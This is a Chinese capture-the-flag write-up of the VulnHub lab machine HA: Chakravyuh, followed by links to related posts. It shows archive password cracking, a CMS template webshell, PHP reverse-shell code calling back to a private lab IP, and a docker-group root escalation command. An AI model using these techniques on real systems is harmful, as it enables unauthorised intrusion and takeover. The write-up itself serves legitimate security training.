VulnHub靶场学习_HA: Chakravyuh
HA: Chakravyuh
Vulnhub靶场
下载地址:https://www.vulnhub.com/entry/ha-chakravyuh,388/
背景:
Close your eyes and feel the heat of being in the middle of the Chakravyuh. The Epic Battle formation that is said to uncrackable. Can you crack the Uncrackable? Does it have it in you? Crack this epic Challenge and Claim the Title of Arjuna of 21st Century.
ENUMERATION IS THE KEY!!!!!

端口扫描

发现ftp中存在arjun.7z

扫描路径

MySQL数据库

收集到这些信息后,猜测Getshell的流程是,通过压缩包知道数据库账号密码,数据库拿shell。
所以,先爆破arjun.7z的密码
Fcrackzip这款软件前面的靶机用过,挺好的,但不支持7z
Rarcrack这款软件可以爆破7z,但不能跑字典,遍历太久不现实。
rarcrack arjun.7z --threads 10 --type 7z

最后,我用的是PasswareKit,速度还是挺快的,支持GPU加速,
利用软件本身携带的字典将其破解,压缩包内的txt文本文件。

密码是family。

Base64解密:
gila:admin@gmail.com:princesa
不是数据库的密码。

看看是不是目录,前面的gila
http://192.168.139.140/gila/
http://192.168.139.140/gila/admin

在Themes处有模板选择,点击文件图标能编辑模板文件。

这里能够上传任意文件,上传了个马。

这个马无法解析,因为shell.ph被URL重写,将所有的指向index.php处理。

这里能够获取到数据库的账号密码。

进入数据库。


这里写入路径做了限制,不能直接写入shell,不过可以利用慢日志来获取shell。
同时该cms默认存在phpinfo。一般就是默认的/var/www/html/

但,这里不通过数据库Getshell
通过在index.php中写入反弹shell的代码Getshell

$sock=fsockopen("192.168.139.1",3418);exec("/bin/sh -i <&3 >&3 2>&3");
在PHP中执行如上代码的话,会把系统的标准输入输出重定向到/bin/sh里,导致php-fpm直接502,然后弹的shell也会瞬间掉了。
当系统没有禁用proc_popen的情况下,利用下面代码反弹shell。
$sock = fsockopen('192.168.139.1',3418);
$descriptorspec = array(
0 => $sock,
1 => $sock,
2 => $sock
);
$process = proc_open('/bin/sh', $descriptorspec, $pipes);
proc_close($process);
成功反弹shell。
python -c "import pty;pty.spawn('/bin/bash');"
获取交互式shell

查找提权的点
查找777权限文件

查找suid的文件

在查看id时,发现该用户处于docker组。
可以利用docker提权,大概过程就是建立一个容器,将本机的文件加载其中。
docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
详细情况可百度 docker提权。

Cat /root/final.txt

VulnHub靶场学习_HA: Chakravyuh的更多相关文章
- VulnHub靶场学习_HA: ARMOUR
HA: ARMOUR Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-armour,370/ 背景: Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲 ...
- VulnHub靶场学习_HA: InfinityStones
HA-InfinityStones Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-infinity-stones,366/ 背景: 灭霸认为,如果他杀 ...
- VulnHub靶场学习_HA: Avengers Arsenal
HA: Avengers Arsenal Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-avengers-arsenal,369/ 背景: 复仇者联盟 ...
- VulnHub靶场学习_HA: Chanakya
HA-Chanakya Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chanakya,395/ 背景: 摧毁王国的策划者又回来了,这次他创造了一个难 ...
- VulnHub靶场学习_HA: Pandavas
HA: Pandavas Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-pandavas,487/ 背景: Pandavas are the warr ...
- VulnHub靶场学习_HA: Natraj
HA: Natraj Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-natraj,489/ 背景: Nataraj is a dancing avat ...
- VulnHub靶场学习_HA:Forensics
HA:Forensics Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-forensics,570/ 背景: HA: Forensics is an ...
- Vulnhub靶场题解
Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...
- Vulnhub靶场——DC-1
记一次Vulnhub靶场练习记录 靶机DC-1下载地址: 官方地址 https://download.vulnhub.com/dc/DC-1.zip 该靶场共有5个flag,下面我们一个一个寻找 打开 ...
随机推荐
- RabbitMQ 入门之基础概念
什么是消息队列(MQ) 消息是在不同应用间传递的数据.这里的消息可以非常简单,比如只包含字符串,也可以非常复杂,包含多个嵌套的对象.消息队列(Message Queue)简单来说就是一种应用程序间的通 ...
- Spring中异步注解@Async的使用、原理及使用时可能导致的问题
前言 其实最近都在研究事务相关的内容,之所以写这么一篇文章是因为前面写了一篇关于循环依赖的文章: <面试必杀技,讲一讲Spring中的循环依赖> 然后,很多同学碰到了下面这个问题,添加了S ...
- 自学 Python 到什么程度能找到工作,1300+ 条招聘信息告诉你答案
随着移动互联网的发展以及机器学习等热门领域带给人们的冲击,让越来越多的人接触并开始学习 Python.无论你是是科班出身还是非科班转行,Python 无疑都是非常适合你入门计算机世界的第一门语言,其语 ...
- 转载 npm 安装vue出现的问题
npm 安装 vue或者express 出现 npm ERR! code UNABLE_TO_VERIFY_LEAF_SIGNATUREnpm ERR! errno UNABLE_TO_VERIF ...
- docker-compose安装zabbix
在网上的很多帖子,我亲自试过,多数不行,启动后zabbix_server是退出状态,所以觉得自己亲自写一篇帖子,以作记录 1.安装docker和docker-compose yum install - ...
- springboot(五)使用FastJson返回Json视图
FastJson简介: fastJson是阿里巴巴旗下的一个开源项目之一,顾名思义它专门用来做快速操作Json的序列化与反序列化的组件.它是目前json解析最快的开源组件没有之一!在这之前jaskJs ...
- [leetcode/lintcode 题解] 一致性哈希 II · Consistent Hashing II
[题目描述] 在 Consistent Hashing I 中我们介绍了一个比较简单的一致性哈希算法,这个简单的版本有两个缺陷: 增加一台机器之后,数据全部从其中一台机器过来,这一台机器的读负载过大, ...
- 一个在raw里面放着数据库文件的网上例子
https://www.cnblogs.com/yutingliuyl/p/6880103.html
- ES6 class继承的简单应用
class的好处就是让继承的实现更加简单,语法简单,理解起来也不复杂,但是现在只能做测试使用,项目中需要用Babel工具. <!DOCTYPE html> <html> < ...
- 将形如 5D, 30s 的字符串转为秒
import sys def convert_to_seconds(time_str): # write code here if 's' in time_str: return float(time ...